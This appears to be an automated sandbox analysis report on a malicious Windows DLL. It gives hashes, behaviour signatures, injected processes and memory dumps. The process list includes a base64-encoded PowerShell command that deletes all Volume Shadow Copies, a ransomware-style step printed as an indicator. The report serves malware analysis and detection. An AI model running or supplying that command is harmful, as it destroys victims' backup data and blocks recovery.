Analysis
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max time kernel
122s -
max time network
122s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 00:53
Static task
static1
Behavioral task
behavioral1
Sample
dc788044ba918463ddea34c1128c9f4da56e0778e582ae9abdeb15fdbcc57e80.dll
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
dc788044ba918463ddea34c1128c9f4da56e0778e582ae9abdeb15fdbcc57e80.dll
Resource
win10-en-20211208
General
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Target
dc788044ba918463ddea34c1128c9f4da56e0778e582ae9abdeb15fdbcc57e80.dll
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Size
164KB
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MD5
99e2b579a030e251d4036db28e048c90
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SHA1
140dfe38d2fce298f5d5a4a8392494f30b7dea63
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SHA256
dc788044ba918463ddea34c1128c9f4da56e0778e582ae9abdeb15fdbcc57e80
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SHA512
74dd874dd47931b3de5336936aff1785d77a1f403fa121c61ff315b90140089dd4a47390661e9013f2a9552a405202ba2f672a4dcda660ec871379d7662c9915
Malware Config
Signatures
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Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\S: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
rundll32.exepowershell.exepid process 1116 rundll32.exe 656 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 656 powershell.exe Token: SeBackupPrivilege 1492 vssvc.exe Token: SeRestorePrivilege 1492 vssvc.exe Token: SeAuditPrivilege 1492 vssvc.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 1932 wrote to memory of 1116 1932 rundll32.exe rundll32.exe PID 1932 wrote to memory of 1116 1932 rundll32.exe rundll32.exe PID 1932 wrote to memory of 1116 1932 rundll32.exe rundll32.exe PID 1932 wrote to memory of 1116 1932 rundll32.exe rundll32.exe PID 1932 wrote to memory of 1116 1932 rundll32.exe rundll32.exe PID 1932 wrote to memory of 1116 1932 rundll32.exe rundll32.exe PID 1932 wrote to memory of 1116 1932 rundll32.exe rundll32.exe PID 1116 wrote to memory of 656 1116 rundll32.exe powershell.exe PID 1116 wrote to memory of 656 1116 rundll32.exe powershell.exe PID 1116 wrote to memory of 656 1116 rundll32.exe powershell.exe PID 1116 wrote to memory of 656 1116 rundll32.exe powershell.exe
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\dc788044ba918463ddea34c1128c9f4da56e0778e582ae9abdeb15fdbcc57e80.dll,#11⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\dc788044ba918463ddea34c1128c9f4da56e0778e582ae9abdeb15fdbcc57e80.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/656-56-0x000007FEFC151000-0x000007FEFC153000-memory.dmpFilesize
8KB
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memory/656-58-0x0000000002630000-0x0000000002632000-memory.dmpFilesize
8KB
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memory/656-59-0x0000000002632000-0x0000000002634000-memory.dmpFilesize
8KB
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memory/656-60-0x0000000002634000-0x0000000002637000-memory.dmpFilesize
12KB
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memory/656-57-0x000007FEF3360000-0x000007FEF3EBD000-memory.dmpFilesize
11.4MB
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memory/656-61-0x000000000263B000-0x000000000265A000-memory.dmpFilesize
124KB
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memory/1116-55-0x0000000076511000-0x0000000076513000-memory.dmpFilesize
8KB